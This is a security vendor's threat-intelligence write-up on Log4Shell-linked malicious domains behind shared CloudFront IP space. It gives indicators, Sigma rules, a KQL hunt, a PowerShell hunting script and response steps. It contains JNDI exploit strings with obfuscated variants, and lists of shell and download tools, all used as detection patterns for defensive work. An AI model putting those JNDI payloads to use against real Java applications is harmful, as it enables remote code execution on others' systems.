Back to Intelligence

Log4Shell-Linked Malicious Domains Behind CDN Infrastructure: OTX Pulse Analysis of Shared-IP C2 & Precision Blocking — Enterprise Detection Pack

SA
Security Arsenal Team
October 13, 2026
11 min read

This OTX pulse documents a live SOC investigation (Incident ES_00244) that captures one of the most operationally dangerous patterns in modern threat infrastructure: malicious C2 and exploit-delivery domains hiding behind legitimate shared CDN IP space. Analysts detected 15 internal devices communicating with a single flagged IP — 13.226.251.40 — associated with the malicious domains moonlighthathel[.]org and ukankingwithea[.]com. Critically, the IP belongs to Amazon CloudFront edge infrastructure, meaning a naive IP-level block would have severed legitimate business traffic for potentially thousands of unrelated services.

The inclusion of CVE-2021-44228 (Log4Shell) in the indicator set signals that the flagged domains are associated with exploit-delivery or post-exploitation callback infrastructure — the classic Log4Shell attack chain: a weaponized JNDI lookup string (${jndi:ldap://attacker-host/...}) triggers an outbound connection from a vulnerable Java application to attacker-controlled infrastructure, which then serves a second-stage payload or establishes C2.

The collective intelligence takeaway is threefold: (1) adversaries continue to abuse cloud CDN edge nodes to launder malicious traffic through high-reputation IP space; (2) DNS-layer precision — blocking the malicious domain, not the shared IP — is the correct containment primitive; (3) outbound LDAP/RMI connections from Java processes remain the highest-fidelity Log4Shell exploitation signal nearly five years after disclosure.

Threat Actor / Malware Profile

Attribution: Unknown actor; the pulse is a case study rather than an attributed campaign. However, the tradecraft profile matches a well-documented class of opportunistic and APT-adjacent operators:

  • Distribution method: Exploit links and malicious URLs delivered via phishing, watering-hole pages, or direct exploitation of internet-facing Java applications vulnerable to Log4Shell (CVE-2021-44228). Domains registered with algorithmic or typosquat-style naming (moonlighthathel, ukankingwithea) typical of throwaway campaign infrastructure.
  • Payload behavior: Post-exploitation staging — after a JNDI callback succeeds, the attacking server responds with a serialized Java payload or remote class reference, leading to arbitrary code execution in the JVM context. Secondary stages commonly include coin miners, reverse shells, or Cobalt Strike beacons.
  • C2 communication: Beaconing to domains resolved through CloudFront edge IPs. This is a deliberate domain-fronting-adjacent technique: by hosting behind Amazon's CDN, the actor's traffic blends with massive volumes of legitimate AWS egress, defeating IP-reputation controls and complicating netflow-based detection.
  • Persistence mechanism: In Log4Shell-derived intrusions, persistence typically follows via web shells dropped into the application server, cron/systemd modifications, or newly created local/service accounts.
  • Anti-analysis techniques: Shared-IP hosting (IP blocking causes collateral damage), domain churn, and TLS encryption of C2. The 15-device blast radius in this incident also demonstrates BYOD/unmanaged asset risk — devices outside centralized EDR coverage can beacon freely until DNS-layer telemetry catches them.

IOC Analysis

IndicatorTypeOperationalization
CVE-2021-44228CVEAsset/vulnerability correlation — not a network IOC. Cross-reference software inventory for Log4j 2.0–2.14.1 across all Java workloads.
moonlighthathel[.]orgDomain/URLDNS-layer block (protective DNS, firewall FQDN object). Safe to block at domain level.
ukankingwithea[.]comDomain/URLSame as above — sinkhole or NXDOMAIN rewrite.
13.226.251.40IPv4 (CloudFront edge)DO NOT block at IP level. Shared Amazon CloudFront infrastructure. Instead, alert on connections to this IP combined with suspicious SNI/DNS context, and hunt retroactively.

SOC operationalization guidance:

  1. Push the two malicious FQDNs into your protective DNS resolver (RPZ), secure web gateway, and EDR custom indicator lists. Domain-level blocking is surgical; IP-level blocking of CDN space is a self-inflicted outage.
  2. Retro-hunt DNS query logs and TLS SNI fields for both domains across a minimum 30-day window — the pulse showed 15 devices communicating, so assume a wide blast radius until proven otherwise.
  3. Pivot from domain hits to process ancestry: any endpoint resolving these domains should be examined for Java processes with unusual child processes (shells, curl, powershell, certutil).
  4. Tooling: Use your SIEM's DNS/SNI correlation, grep/zeek over proxy logs for the FQDNs, and vulnerability scanners (Tenable, Qualys, or open-source log4j-scan) for CVE-2021-44228 exposure. For JVM-level validation, inspect loaded JARs for JndiLookup.class presence.

Detection Engineering

YAML
---
title: Log4Shell JNDI Exploitation Attempt in Logs or Command Line
id: 9e4f2c1a-7b3d-4e5f-9a01-l4s000000001
status: experimental
description: Detects JNDI lookup patterns associated with CVE-2021-44228 (Log4Shell) exploitation in process command lines, matching the exploit-link activity flagged in the OTX pulse involving moonlighthathel[.]org and ukankingwithea[.]com.
author: Security Arsenal Threat Intelligence
references:
    - https://www.splunk.com/en_us/blog/security/conf26-agentic-soc-scalpel.html
date: 2026/10/13
logsource:
    category: process_creation
    product: windows
detection:
    selection_jndi:
        CommandLine|contains:
            - '${jndi:ldap://'
            - '${jndi:rmi://'
            - '${jndi:dns://'
            - '${jndi:iiop://'
            - '${jndi:corba://'
            - '${jndi:nis://'
            - '${jndi:nds://'
    selection_obfuscation:
        CommandLine|contains:
            - '${${lower:j}ndi'
            - '${${upper:j}ndi'
            - '${${env:'
    condition: 1 of selection_*
falsepositives:
    - Vulnerability scanners and authorized penetration testing
level: critical
tags:
    - attack.exploitation
    - attack.t1190
    - cve.2021.44228
---
title: Java Process Spawning Suspicious Child Process (Post-Log4Shell Execution)
id: 9e4f2c1a-7b3d-4e5f-9a01-l4s000000002
status: experimental
description: Detects Java/Tomcat application server processes spawning shells or living-off-the-land binaries, a high-fidelity indicator of successful Log4Shell exploitation leading to code execution and C2 staging.
author: Security Arsenal Threat Intelligence
date: 2026/10/13
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - '\java.exe'
            - '\javaw.exe'
            - '\tomcat.exe'
            - '\tomcat8.exe'
            - '\tomcat9.exe'
            - '\wlsvc.exe'
    selection_child:
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\wscript.exe'
            - '\cscript.exe'
            - '\certutil.exe'
            - '\bitsadmin.exe'
            - '\mshta.exe'
            - '\rundll32.exe'
            - '\regsvr32.exe'
            - '\curl.exe'
            - '\wget.exe'
            - '\whoami.exe'
            - '\net.exe'
    condition: selection_parent and selection_child
falsepositives:
    - Legitimate Java management tooling and build pipelines; tune per environment
level: high
tags:
    - attack.execution
    - attack.t1059
    - attack.t1190
---
title: DNS Query or Connection to Flagged Campaign Domains Behind CDN IP Space
id: 9e4f2c1a-7b3d-4e5f-9a01-l4s000000003
status: experimental
description: Detects DNS resolution or network connections to the malicious domains moonlighthathel[.]org and ukankingwithea[.]com identified in the OTX pulse, including connections to the shared CloudFront edge IP 13.226.251.40 when correlated with suspicious context.
author: Security Arsenal Threat Intelligence
date: 2026/10/13
logsource:
    category: dns
detection:
    selection_domain:
        query|contains:
            - 'moonlighthathel.org'
            - 'ukankingwithea.com'
    condition: selection_domain
falsepositives:
    - Threat intelligence validation and sandbox detonation
level: critical
tags:
    - attack.command_and_control
    - attack.t1071.001
    - attack.t1090
KQL — Microsoft Sentinel / Defender
// Hunt: Log4Shell exposure + connections to flagged campaign domains / shared CDN IP
// Microsoft Sentinel — 30-day retro hunt

let maliciousDomains = dynamic(["moonlighthathel.org", "ukankingwithea.com"]);
let flaggedCdnIp = "13.226.251.40";

// Stage 1: DNS resolution of malicious domains
let dnsHits = DeviceNetworkEvents
| where TimeGenerated > ago(30d)
| where RemoteUrl has_any (maliciousDomains)
| project DnsTime=TimeGenerated, DeviceName, DnsRemoteUrl=RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine;

// Stage 2: Direct connections to the shared CloudFront IP
let cdnHits = DeviceNetworkEvents
| where TimeGenerated > ago(30d)
| where RemoteIP == flaggedCdnIp
| project CdnTime=TimeGenerated, DeviceName, RemoteIP, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine, LocalPort, RemotePort;

// Stage 3: JNDI pattern in process command lines (Log4Shell delivery)
let jndiHits = DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where ProcessCommandLine has_any ("${jndi:ldap", "${jndi:rmi", "${jndi:dns", "${${lower:j}", "${${upper:j}")
| project JndiTime=TimeGenerated, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName;

// Stage 4: Java spawning shells/LOLBins (post-exploitation)
let javaSpawnHits = DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where InitiatingProcessFileName has_any ("java.exe", "javaw.exe", "tomcat")
| where FileName has_any ("cmd.exe", "powershell.exe", "certutil.exe", "bitsadmin.exe", "mshta.exe", "rundll32.exe", "curl.exe", "whoami.exe", "net.exe")
| project SpawnTime=TimeGenerated, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine;

// Correlate all stages by device
dnsHits
| join kind=fullouter cdnHits on DeviceName
| join kind=fullouter jndiHits on DeviceName
| join kind=fullouter javaSpawnHits on DeviceName
| project DeviceName,
    DnsHitTime=DnsTime, DnsDomain=DnsRemoteUrl,
    CdnConnTime=CdnTime, CdnRemoteUrl=RemoteUrl,
    JndiCmd=ProcessCommandLine,
    JavaSpawnedProc=FileName, JavaSpawnTime=SpawnTime
| summarize arg_min(coalesce(DnsHitTime, CdnConnTime, JndiTime, JavaSpawnTime), *) by DeviceName
| sort by coalesce(DnsHitTime, CdnConnTime, JndiTime, JavaSpawnTime) asc
PowerShell
# Security Arsenal — OTX Pulse IOC Hunt Script
# Targets: moonlighthathel[.]org / ukankingwithea[.]com C2 artifacts + Log4Shell (CVE-2021-44228) exposure
# Run elevated. Output written to $env:TEMP\OTX_Hunt_Results.csv

$results = @()

# --- 1. DNS cache check for flagged malicious domains ---
Write-Host "[*] Checking DNS cache for malicious campaign domains..." -ForegroundColor Cyan
$dnsCache = Get-DnsClientCache -ErrorAction SilentlyContinue | Where-Object {
    $_.Entry -match "moonlighthathel\.org|ukankingwithea\.com"
}
foreach ($entry in $dnsCache) {
    $results += [PSCustomObject]@{
        Category = "DNS-Cache-Hit"
        Detail   = "$($entry.Entry) -> $($entry.Data)"
        Severity = "CRITICAL"
    }
}

# --- 2. Active/recent network connections to the shared CloudFront IP ---
Write-Host "[*] Checking network connections to flagged CDN IP 13.226.251.40..." -ForegroundColor Cyan
$conns = Get-NetTCPConnection -ErrorAction SilentlyContinue | Where-Object {
    $_.RemoteAddress -eq "13.226.251.40"
}
foreach ($c in $conns) {
    $proc = Get-Process -Id $c.OwningProcess -ErrorAction SilentlyContinue
    $results += [PSCustomObject]@{
        Category = "CDN-IP-Connection"
        Detail   = "PID $($c.OwningProcess) ($($proc.ProcessName)) -> $($c.RemoteAddress):$($c.RemotePort) [$($c.State)]"
        Severity = "HIGH (requires SNI/domain correlation - shared CDN IP)"
    }
}

# --- 3. Java processes with suspicious child processes (post-exploitation) ---
Write-Host "[*] Enumerating Java processes and child processes..." -ForegroundColor Cyan
$javaProcs = Get-CimInstance Win32_Process -ErrorAction SilentlyContinue | Where-Object {
    $_.Name -match "^(java|javaw|tomcat)"
}
$suspiciousChildren = @("cmd.exe","powershell.exe","pwsh.exe","certutil.exe","bitsadmin.exe","mshta.exe","rundll32.exe","regsvr32.exe","curl.exe","wget.exe","net.exe","whoami.exe")
foreach ($jp in $javaProcs) {
    $children = Get-CimInstance Win32_Process -ErrorAction SilentlyContinue | Where-Object {
        $_.ParentProcessId -eq $jp.ProcessId -and $suspiciousChildren -contains $_.Name
    }
    foreach ($child in $children) {
        $results += [PSCustomObject]@{
            Category = "Java-Suspicious-Child"
            Detail   = "$($jp.Name) (PID $($jp.ProcessId)) spawned $($child.Name) (PID $($child.ProcessId)): $($child.CommandLine)"
            Severity = "CRITICAL"
        }
    }
}

# --- 4. Log4j vulnerable JAR sweep (JndiLookup presence in common app dirs) ---
Write-Host "[*] Sweeping for vulnerable log4j-core JARs (this may take time)..." -ForegroundColor Cyan
$searchPaths = @("C:\Program Files", "C:\Program Files (x86)", "C:\opt", "C:\tomcat", "C:\webapps")
foreach ($path in $searchPaths) {
    if (Test-Path $path) {
        Get-ChildItem -Path $path -Recurse -Filter "log4j-core-2.*.jar" -ErrorAction SilentlyContinue | ForEach-Object {
            if ($_.Name -match "log4j-core-2\.(0|1[0-4])(\.|-)" -and $_.Name -notmatch "2\.(1[5-9]|[2-9][0-9])") {
                $results += [PSCustomObject]@{
                    Category = "Vulnerable-Log4j-JAR"
                    Detail   = "$($_.FullName) — potentially vulnerable to CVE-2021-44228"
                    Severity = "HIGH"
                }
            }
        }
    }
}

# --- 5. Persistence artifact checks (common post-exploitation footholds) ---
Write-Host "[*] Checking persistence locations..." -ForegroundColor Cyan
$runKeys = @(
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
    "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
)
foreach ($key in $runKeys) {
    if (Test-Path $key) {
        $values = Get-ItemProperty -Path $key -ErrorAction SilentlyContinue
        $values.PSObject.Properties | Where-Object {
            $_.Value -match "java|javaw|\.jar|temp|appdata" -and $_.Name -notmatch "^(PSPath|PSParentPath|PSChildName|PSDrive|PSProvider)"
        } | ForEach-Object {
            $results += [PSCustomObject]@{
                Category = "Suspicious-Run-Key"
                Detail   = "$key :: $($_.Name) = $($_.Value)"
                Severity = "MEDIUM"
            }
        }
    }
}

$recentTasks = Get-ScheduledTask -ErrorAction SilentlyContinue | Where-Object {
    $_.Actions.Execute -match "java|javaw|powershell|cmd" -and
    $_.Date -gt (Get-Date).AddDays(-14)
}
foreach ($t in $recentTasks) {
    $results += [PSCustomObject]@{
        Category = "Recent-Suspicious-Task"
        Detail   = "$($t.TaskName) -> $($t.Actions.Execute) $($t.Actions.Arguments)"
        Severity = "MEDIUM"
    }
}

# --- Output ---
if ($results.Count -gt 0) {
    $results | Sort-Object Severity | Format-Table -AutoSize -Wrap
    $results | Export-Csv -Path "$env:TEMP\OTX_Hunt_Results.csv" -NoTypeInformation
    Write-Host "`n[!] $($results.Count) findings written to $env:TEMP\OTX_Hunt_Results.csv" -ForegroundColor Red
} else {
    Write-Host "`n[+] No indicators found on this host." -ForegroundColor Green
}

Response Priorities

Immediate (0–4 hours):

  • Push moonlighthathel[.]org and ukankingwithea[.]com to protective DNS (RPZ/NXDOMAIN), secure web gateway blocklists, and EDR custom indicators. Do not block 13.226.251.40 at the firewall — it is shared CloudFront edge space; IP-blocking will cause collateral outages.
  • Retro-hunt 30 days of DNS, proxy SNI, and netflow telemetry for both domains using the KQL query above; enumerate every device that resolved them.
  • Isolate any host with confirmed resolution + suspicious process ancestry; capture memory before remediation.

24 hours:

  • If any Java application server shows JNDI callback or post-exploitation child-process activity, assume code execution and potential credential access: force credential rotation for any service accounts, cached domain credentials, and application secrets on affected hosts.
  • Run an authenticated vulnerability scan for CVE-2021-44228 across the full Java estate — including shadow IT, BYOD-connected segments, and appliances (Log4j hides in embedded vendor software). The 15-device blast radius in this incident included unmanaged devices; verify identity and posture for every BYOD endpoint that touched the flagged IP.
  • Review egress firewall rules: outbound LDAP (389), LDAPS (636), and RMI (1099) from server VLANs to the internet should be denied by default — this single control breaks the Log4Shell JNDI callback chain.

1 week:

  • Architectural hardening: implement protective DNS with per-query logging as a first-class control plane; this incident proves DNS-layer precision is the only surgical containment option against CDN-fronted threats.
  • Deploy TLS inspection or SNI-based policy on the egress path so that domain-level enforcement follows the traffic even when DNS is bypassed (DoH-resistant posture: block unauthorized DoH resolvers).
  • Upgrade or mitigate all Log4j instances (2.17.1+ or remove JndiLookup class: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class), and set log4j2.formatMsgNoLookups=true as defense-in-depth on JVMs that cannot be patched immediately.
  • Establish a standing detection content pipeline: operationalize the Sigma rules above in your SIEM and validate them quarterly with atomic testing.

Related Resources

Security Arsenal Incident Response Managed SOC & MDR Services AlertMonitor Threat Detection From The Dark Side Intel Hub

Is your security operations ready?

Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.